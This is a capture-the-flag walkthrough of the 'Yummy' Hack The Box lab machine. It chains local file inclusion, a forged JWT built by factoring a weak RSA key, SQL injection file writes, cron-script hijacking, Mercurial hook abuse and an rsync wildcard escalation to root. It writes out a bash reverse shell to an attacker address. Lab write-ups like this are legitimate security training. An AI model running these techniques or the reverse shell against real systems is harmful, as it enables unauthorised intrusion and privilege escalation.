Yummy (Hard)

Hard difficulty Linux box.....

Enumeartion

As usual we will start with a simple nmap scan:

Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 a2:ed:65:77:e9:c4:2f:13:49:19:b0:b8:09:eb:56:36 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNb9gG2HwsjMe4EUwFdFE9H8NguzJkfCboW4CveSS+cr2846RitFyzx3a9t4X7S3xE3OgLnmgj8PtKCcOnVh8nQ=
|   256 bc:df:25:35:5c:97:24:f2:69:b4:ce:60:17:50:3c:f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZKWYurAF2kFS4bHCSCBvsQ+55/NxhAtZGCykcOx9b6
80/tcp open  http    syn-ack ttl 63 Caddy httpd
|_http-title: Did not follow redirect to http://yummy.htb/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Caddy
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We will add "yummy.htb" to our /etc/hosts file and then check the website.

Home Page

After making an account and logging in, we see we can reserve a table:

Booking a Table

Upon filling data, visiting the dashbaord we will see we can save an iCalendar reminder of our reservation, saving it makes two requests: 1) First to /reminder/<NUMBER> which is a prepare to another request to download. 2) Second to /export/<FILE> which downloads the file.

Now let's try manipulating the file name in the "export" route to see if we can get LFI:

Trying the LFI

We see we get a 500, this is because the export request was already made and then exporting the .ics file, what we need to do here is to send the reminder request then export the file, EACH time.

Reading Files Using LFI

After sending the reminder request again, we try now:

Successful LFI

After enumerating around to see what files are useful, we see the /etc/crontab file has some useful running scripts:

Let's see if we can read any of those, starting with "table_cleanup.sh":

We see we get the password for mysql, but we can't do much since it is not exposed, let's check "dbmonitor.sh":

We see a script that monitors the state of the Database, checking when it was down and sending notifications for the root user, and also automating some stuff to fix it. Let's check the third script "app_backup.sh":

We see it's making a zip archive of the running web application, storing it in "/var/www/backupapp.zip". Let's read this file using the same method, since it will be bytes, we will just use burpsuite to download it directly, and extract it.

Administrator Access

Now we have the source code of the application, and we can notice two things: 1) In the app.py, there's an "admindashboard" route, that checks for administrator role in the JWT. 2) in signature.py we can see how the tokens are being made and signed:

We see it's basic RSA signing, so what we will do is get a valid token, extract the public key from it (n), then trying to factorize it to get p and q, which then leads us to generating d (the private key) so we can sign our own token and make our user an administrator.

Using chatGPT and some reading of the original signature.py code, we make this to make our own token:

After running the script and using the output JWT, we now have access to the admin dashboard:

Admin dashboard

SQL Injection and Shell as mysql

Using the "search" function, we see it sends a GET request like http://yummy.htb/admindashboard?s=&o=ASC , Now if you remember we have the source code of the application, and it had an SQL Injection vulnerability:

So Sending a single quote in the "o" parameter, we see a MYSQL error:

Showing MYSQL error

Now we can just run sqlmap on it and dump it, but that was useless so we need another approach, testing to write files, it was successful, as no error messages were shown:

Not seeing an error, means we can read and write files as the mysql service, now we already had file read using the LFI, but we need to leverage this file writing, looking back at the cron jobs we saw earlier there was an interesting action in "dbmonitor.sh":

Here, the script checks for the "dbstatus.json" file, if it exist, it checks if the database is down through it's content, if not, it's gonna execute the "fixer-v*" file, but notice the wild card? and we have file write access, so we can write anything there in a file and call it "fixer-vv" for example, and it will be executed.

First let's write the "dbstatus.json" file to make sure it's there and make sure it does NOT contain that the database is down, then write a bash reverse shell:

Doing these two requests then checking our listener we got a shell back!

Shell as www-data Then User

Enumerating the system, we see that one of the cron jobs was running as "www-data" and not "mysql", the backup script:

Checking the permissions of the "scripts" directory, it is world writable, so we can just write a shell in app_backup.sh like "bash -i >& /dev/tcp/10.10.14.34/9001 0>&1", then we have another shell:

Going to "/var/www" we see an application called "app-qatesting" which the running application and we see it is a repository but done in Mercurial (hg), which is version control system similar to git, let's see the change log:

Reviewing some of the interesting commits, the 8th one (removed comments) have some credentials for "qa" user:

And we finally have a user!

Shell As dev

Checking our sudo rule for "qa":

Since hg is a version control system, searching around we see we can add a hook, similar to ones in git, these hooks will let us execute system commands, this means we can get a shell as dev if we edited the "hgrc" file.

First we will make a directory in "/tmp" and call it "acaard", we will initialize a repository in it, and we HAVE to make this directory world writable because we will write in it as the "dev" user:

Then in "hg/hgrc" we will add:

And this "vamp.sh" file just has a 1 liner bash reverse shell, and so after executing the "hg pull" command, then checking our listener:

Root

As usual starting with "sudo -l", we see we can backup stuff from our home, using "rsync":

We see there is a wildcard which we can abuse to traverse back and backup whatever we want AND we can add any rsync options, my approach here was to backup the "/root" directory to read the flag and SSH keys, and add an option to make it world readable:

Happy hacking :) 🧛

Last updated